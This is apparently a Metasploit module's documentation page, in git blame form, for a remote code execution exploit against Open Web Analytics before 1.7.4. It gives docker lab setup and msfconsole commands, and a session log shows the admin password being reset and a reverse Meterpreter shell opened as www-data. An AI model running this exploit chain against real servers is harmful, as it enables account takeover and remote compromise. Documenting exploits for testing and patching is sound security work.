2023-03-09 13:59:27 +01:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
2023-03-14 21:43:07 +01:00
|
|
|
Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated
|
|
|
|
|
remote attacker to obtain sensitive user information, which can be
|
|
|
|
|
used to gain admin privileges by leveraging cache hashes. This occurs
|
|
|
|
|
because files generated with '<?php (instead of the intended "<?php sequence) aren't
|
|
|
|
|
handled by the PHP interpreter.
|
2023-03-09 13:59:27 +01:00
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
1. Start a vulnerable instance of OWA using docker
|
2023-03-09 14:05:06 +01:00
|
|
|
- Download https://github.com/Pflegusch/CVE-2022-24637/blob/main/deployment/docker-compose.yml
|
2023-03-09 16:58:04 +01:00
|
|
|
- Start the containers: `docker compose up -d`
|
2023-03-09 14:05:06 +01:00
|
|
|
- Open http://127.0.0.1:80/
|
2023-03-09 16:58:04 +01:00
|
|
|
- Follow installation steps using the envs from the `docker-compose.yml` file
|
|
|
|
|
- Public URL: `http://127.0.0.1/`
|
|
|
|
|
- Database Host (`docker inspect <db-container>` and get `IPAddress`, e.g `172.22.0.2`)
|
|
|
|
|
- Database Port: `3306`
|
|
|
|
|
- Database Name: `owa`
|
|
|
|
|
- Database User: `owa`
|
|
|
|
|
- Database Password: `Demo12+#`
|
2023-03-09 13:59:27 +01:00
|
|
|
- Continue
|
2023-03-09 16:58:04 +01:00
|
|
|
- Site Domain: `http://127.0.0.1`
|
|
|
|
|
- Admin name: `admin`
|
|
|
|
|
- E-Mail: `admin@admin.com`
|
|
|
|
|
- Password: `Demo12+#`
|
2023-03-09 14:08:50 +01:00
|
|
|
- Continue
|
2023-03-09 13:59:27 +01:00
|
|
|
|
2023-03-09 16:58:04 +01:00
|
|
|
2. Start `msfconsole`
|
|
|
|
|
3. `use exploit/multi/http/open_web_analytics_rce`
|
|
|
|
|
4. `set RHOSTS 127.0.0.1`
|
|
|
|
|
5. `set RPORT 80`
|
|
|
|
|
6. `set SSL false`
|
|
|
|
|
7. `set LHOST 172.22.0.1` -> this needs to be bridge IP that got created with the `docker compose up -d` command
|
|
|
|
|
8. `check`
|
|
|
|
|
9. `run`
|
2023-03-09 13:59:27 +01:00
|
|
|
|
2023-03-14 21:43:07 +01:00
|
|
|
## Options
|
|
|
|
|
### Password
|
|
|
|
|
|
|
|
|
|
When exploiting the target, the password of the attacked user will be overwritten with this password.
|
|
|
|
|
|
|
|
|
|
### Username
|
|
|
|
|
|
|
|
|
|
The user that will be targeted with this exploit.
|
|
|
|
|
|
2023-03-14 23:29:55 +01:00
|
|
|
## Advanced Options
|
|
|
|
|
### SearchLimit
|
|
|
|
|
|
2023-03-15 00:01:15 +01:00
|
|
|
The exploit works by retrieving a `temp_passkey` value from a cache file that gets created for each user when trying to login with it.
|
|
|
|
|
Since the `/owa-data/caches/` directory is publicly accessible, we can retrieve these cache files. The exact path for the cache files
|
|
|
|
|
depends on the `user_id` and can get calculated with that. This option defines how many calculated paths, starting from 0, should be
|
|
|
|
|
checked for cache files with the `temp_passkey` value in it.
|
2023-03-14 23:29:55 +01:00
|
|
|
|
2023-03-14 21:43:07 +01:00
|
|
|
## Scenarios
|
2023-03-15 01:54:36 +01:00
|
|
|
### Version 1.7.3 using docker deployment from above
|
2023-03-09 16:58:04 +01:00
|
|
|
```
|
2023-03-09 13:59:27 +01:00
|
|
|
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
|
|
|
|
|
RHOSTS => 127.0.0.1
|
|
|
|
|
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
|
|
|
|
|
LHOST => 172.22.0.1
|
|
|
|
|
msf6 exploit(multi/http/open_web_analytics_rce) > run
|
|
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 172.22.0.1:4444
|
2023-03-15 01:34:02 +01:00
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
|
|
|
|
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
|
2023-03-11 17:26:21 +01:00
|
|
|
[+] Connected to http://127.0.0.1/ successfully!
|
2023-03-09 13:59:27 +01:00
|
|
|
[*] Attempting to find cache of 'admin' user
|
2023-03-15 01:34:02 +01:00
|
|
|
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
|
2023-03-09 13:59:27 +01:00
|
|
|
[+] Changed the password of 'admin' to 'pwned'
|
|
|
|
|
[+] Logged in as admin user
|
|
|
|
|
[*] Creating log file
|
|
|
|
|
[+] Wrote payload to file
|
|
|
|
|
[*] Sending stage (39927 bytes) to 172.22.0.3
|
2023-03-15 01:34:02 +01:00
|
|
|
[+] Deleted QY0yivK4.php
|
|
|
|
|
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
|
2023-03-09 13:59:27 +01:00
|
|
|
[+] Triggering payload! Check your listener!
|
|
|
|
|
|
|
|
|
|
meterpreter > pwd
|
|
|
|
|
/var/www/html/owa-data/caches
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: www-data
|
2023-03-11 17:26:21 +01:00
|
|
|
meterpreter >
|
2023-03-09 16:58:04 +01:00
|
|
|
```
|